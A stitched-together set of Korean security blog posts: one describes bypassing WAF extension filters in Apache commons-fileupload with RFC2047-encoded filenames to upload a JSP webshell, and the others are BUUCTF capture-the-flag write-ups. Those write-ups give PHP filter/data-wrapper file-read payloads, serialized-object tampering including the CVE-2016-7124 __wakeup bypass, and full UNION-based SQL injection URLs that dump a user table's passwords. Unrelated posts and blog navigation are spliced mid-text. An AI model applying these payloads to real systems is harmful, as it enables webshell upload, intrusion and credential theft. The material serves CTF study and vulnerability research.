JSP & Spring Framework로 구현된 웹 서비스에서 파일업로드 기능을 구현할 시 가장 흔히 사용되는 모듈이 commons-fileupload 모듈입니다.

악의적인 파일업로드 취약점을 트리거하여 공격하기 위해선 서버단에서 웹서비스가 해석하여 실행 가능한 확장자(ex. jsp, jspx, jspl, jsw ...etc..)로 업로드하여 서버내에서 임의 코드를 실행시킬 수 있어야 합니다.

하지만 많은 수의 서비스들은 확장자(ext)검사를 시행하고 있고, 이를 WAF(Web Application Firewall)에서 하는 경우가 많습니다.

또한, 확장자 검사를 시행한 후엔 파일 명을 randomizing 하여 보안성을 갖추는것이 일반적인 파일업로드 취약점 대응 방법입니다.

 


 

하지만 만약 확장자 검사를 코드 단이 아닌 WAF단에서만 수행을 하고, random으로 생성된 파일명이 공격자에게 노출된다면(꽤나 많은 케이스에서 이런 상황이 발견되는것 같습니다) commons-fileupload 모듈의 코드 구현 특징을 이용하여 이를 우회할 수 있습니다.

    @Override
    protected void doPost(HttpServletRequest request,  HttpServletResponse response)
            throws ServletException, IOException {

        response.setContentType("text/html; charset=UTF-8");
        request.setCharacterEncoding(CHARSET);
        PrintWriter out = response.getWriter();

        File attachesDir = new File(ATTACHES_DIR);

        DiskFileItemFactory fileItemFactory = new DiskFileItemFactory();
        fileItemFactory.setRepository(attachesDir);
        fileItemFactory.setSizeThreshold(LIMIT_SIZE_BYTES);
        ServletFileUpload fileUpload = new ServletFileUpload(fileItemFactory);

        try {
            List<FileItem> items = fileUpload.parseRequest(request);
            for (FileItem item : items) {
                if (item.isFormField()) {
                    System.out.printf("파라미터 명 : %s, 파라미터 값 :  %s \n", item.getFieldName(), item.getString(CHARSET));
                } else {
                    System.out.printf("파라미터 명 : %s, 파일 명 : %s,  파일 크기 : %s bytes \n", item.getFieldName(),
                            item.getName(), item.getSize());
                    if (item.getSize() > 0) {
                        Object fileName = new File(item.getName()).getName();
                                                fileName = this.makeFn((String)fileName) + "." + this.getExt((String)fileName); // makeFn -> make random filename
                                                String filePath = uploadPath + File.separator + (String)fileName;
                                                File storeFile = new File(filePath);
                                                item.write(storeFile);
                    }
                }
            }
              out.println("<h1>파일 업로드 완료</h1>");
         } catch (Exception e) {
            // 파일 업로드 처리 중 오류가 발생하는 경우
            e.printStackTrace();
            out.println("<h1>파일 업로드 중 오류가  발생하였습니다.</h1>");
        }
    }

출처: https://dololak.tistory.com/720 [코끼리를 냉장고에 넣는 방법]
private String getExt(String fileName) {
    if (fileName.lastIndexOf(".") == -1)
      return "noext"; 
    fileName = fileName.substring(fileName.lastIndexOf(".") + 1).trim();
    if ("".equals(fileName))
      return "noext"; 
    return fileName.substring(fileName.lastIndexOf(".") + 1);
  }

위의 코드는 구글commons-fileupload 라고 검색하였을때 나오는 '기본 예제 코드'에 파일 확장자 검사 코드를 추가한 코드입니다.

실제 코드상으로는 WAF에서 확장자 검사를 하여 .jpg.png 등 허용 확장자만 whitelist로 관리하고 있다면 보안 취약점이 발생하지 않는 것으로 보입니다. 또 실제로 저도 이 기법을 접하기 전까진 해당 상황에선 취약점 익스플로잇이 불가능하다고 생각을 해왔었습니다.

하지만 문제는 commons-fileupload 모듈이 버전 1.3부터 RFC2047지원한다는 데에서 시작됩니다.

RFC2047MIME (Multipurpose Internet Mail Extensions) Part Three: Message Header Extensions for Non-ASCII Text에 대한 명세인데, Non ascii text에 대해서 인코딩 방식을 요청자가 지정하여 인코딩하여 전송하고, 응답자는 이를 디코딩하여 해석한다는 내용이 주를 이룹니다.

이를 commons-fileupload 모듈에서 적용하게된 내용을 간략한 코드흐름으로 살펴보면,

와 같이 진행됩니다.

RFC2047에서 명세된 인코딩 형식은 =?" charset "?" encoding "?" encoded-text "?= 입니다.

이 중 encoding 방식에 대한 설명은 아래와 같습니다

 

4. Encodings

   Initially, the legal values for "encoding" are "Q" and "B".  These
   encodings are described below.  The "Q" encoding is recommended for
   use when most of the characters to be encoded are in the ASCII
   character set; otherwise, the "B" encoding should be used.

     ...중략...

     4.1. The "B" encoding

   The "B" encoding is identical to the "BASE64" encoding defined by RFC

 

인코딩은 평문(Q)와 Base64(B)를 지원하고 있습니다. 이를통해 some_webshell.jsp에서 .jsp와 같은 문구를 잡아내는 WAF를 우회할 수 있습니다.

하지만 여전히 WAF에서 맨 마지막 확장자를 검사하는 로직은 우회하지 못하였습니다.

이는 commons-fileupload에서 RFC2047을 구현한 특징으로 우회할 수 있습니다.

decodeText() 메서드 중 인코딩 형식의 문자열 파싱 부분을 살펴보면 int encodedTextPos = word.indexOf(ENCODED_TOKEN_FINISHER, encodingPos + 1);로 encodedTextPos를 설정하고, 이후 진행되는 코드에서 인코딩 된 영역만 가져와 디코딩 후 파일 이름으로 가져오기 때문에

=?UTF8?B?c29tZV93ZWJzaGVsbC5qc3A=?=.jpg 와 같은 형식으로 인코딩 영역이 끝난 부분에 .jpg를 삽입하게 되면 실제 jsp에서 파일명을 파싱할 시 이 부분이 무시됩니다.

 


 

여기까지 진행됐다면, WAF에서 수행하는 1. '.jsp'와 같은 문자열 포함 검사, 2. lastIndexOf('.') 등을 통한 업로드 취약점 검사를 모두 우회할 수 있습니다.

이후에 jsp 코드에선 정상적으로 some_webshell.jsp로 파일이 생성되기 때문에 웹쉘을 업로드하는데 성공할 수 있게 됩니다.

 


 

개인적으로도 파일 업로드 취약점 진단 시 commons-fileupload 모듈이 많이 사용되고있는걸 느꼈는데 이런 기법이 있었다는걸 몰랐어서, 내용을 보고 많이 놀랐기도 하여 해당 내용을 접하자마자 급히 글을 작성하여 업로드 하게 되었습니다.

 

 

해당 글은 2019년 CCE(사이버 공격방어대회)에 출제한 ENKI공식 라이트업을 참조하여 작성되었습니다.

 

 

참고문헌 : https://enki.co.kr/blog/2020/02/27/cce_writeup.html?fbclid=IwAR0ztC_wshd_DHvIA-HBMh_F99TdqkPiqyGyBu_WfP6Id-2TPTPPp_uPkZY

ㅏ 갑자기 쓰기가 귀찮아졌다.

 

대충 써야겠다

 

 

 

1. file_get_contents 의 결과를 welcome to the zjctf 로 만들기

 - text=data:text/plain,welcome to the zjctf

 

2. useless.php 내용 읽어오기(lfi)

 - file=php://filter/read=convert.base64-encode/resource=useless.php

 

3. useless.php

4. unserialize로 class Flag를 통해 flag.php 읽기

 

O:4:"Flag":1:{s:4:"file";N;}

에서

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

로 변조해서 unserialize하기

 

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

view-source:http://c589b547-679e-407e-9713-d0a821da98a4.node3.buuoj.cn/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

 

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(schema_name),3%20from%20information_schema.schemata%23&password=guest

 

schema_name = geek

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27geek%27%23&password=guest

 

table_name = geekuser, l0ve1ysq1

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27l0ve1ysq1%27%23&password=guest

 

[l0ve1ysql] column name = id,username,password

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(concat(id,%27-%27,username,%27-%27,password)),3%20from%20l0ve1ysq1%23&password=guest

 

Hello 1-cl4y-wo_tai_nan_le,2-glzjin-glzjin_wants_a_girlfriend,3-Z4cHAr7zCr-biao_ge_dddd_hm,4-0xC4m3l-linux_chuang_shi_ren,5-Ayrain-a_rua_rain,6-Akko-yan_shi_fu_de_mao_bo_he,7-fouc5-cl4y,8-fouc5-di_2_kuai_fu_ji,9-fouc5-di_3_kuai_fu_ji,10-fouc5-di_4_kuai_fu_ji,11-fouc5-di_5_kuai_fu_ji,12-fouc5-di_6_kuai_fu_ji,13-fouc5-di_7_kuai_fu_ji,14-fouc5-di_8_kuai_fu_ji,15-leixiao-Syc_san_da_hacker,16-flag-flag{bd[redacted]c5}!

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [BUUCTF 2018]Online Tool  (0) 2020.02.28
[BUUCTF] - [ZJCTF 2019]NiZhuanSiWei1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]LoveSQL1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]PHP1  (0) 2020.02.26
[BUUCTF] - [0CTF 2016]piapiapia1  (0) 2020.02.21
[BUUCTF] - [RoarCTF 2019]Easy Java1  (0) 2020.02.18

 

 

;;

최근 ctf 열려서 그 문제들 푸느라 한동안 buuctf를 못풀었다.

 

근데 최근 buuctf에 serialize/unserialize 문제들 나와서 풀었는데 그게 딱 pregyan ctf에 나오더라 ㅋㅋㅋ

(그 문제로 인해 rce -> 내부침투로 ctf 서버 터진건 안비밀;)

 

어쨌든 이번 문제도 serialize 관련 문제다.

 

이번에도 /www.zip 받아서 소스코드를 살펴볼 수 있었다.

 

중간에 class.php를 include하고 unserialize하는걸 확인할 수 있다.

 

class는 위와 같은데, constructor에서 username과 password를 받아 지역변수로 선언하고, destructor에서 password가 100이고 username이 admin이면 flag를 뿌려주는것을 확인할 수 있다.

 

특이한건 __wakeup() 메서드인데, 이 메서드는 object를 unserialize할때 실행되는 메서드라고 한다.

 

따라서 우리가 unserialize로 Name class를 unserializing하면 __wakeup() 메서드에 의해 username이 guest로 바뀌게 되어 플래그 출력이 불가해지는 것이다.

 

여기서 __wakeup()메서드에 관한 cve가 있었다 

 

CVE-2016-7124

https://bugs.php.net/bug.php?id=72663

 

PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization

 

bugs.php.net

 

간단하게 설명하면, new name("admin",100) 을 serializing하면

 

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 

위와같이 된다.

 

여기서 Object의 serialized data format은

 

Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

위와 같은데, object size를 실제 object size보다 더 크게 주면 __wakeup() 메서드가 실행이 되지 않는 버그가 CVE-2016-7124이다

 

 

따라서 object size를 늘려주고 전송해주면 __wakeup() 메서드가 실행되지 않고 admin,100조건이 맞게되어 플래그가 출력될 것이다.

 

+ Recent posts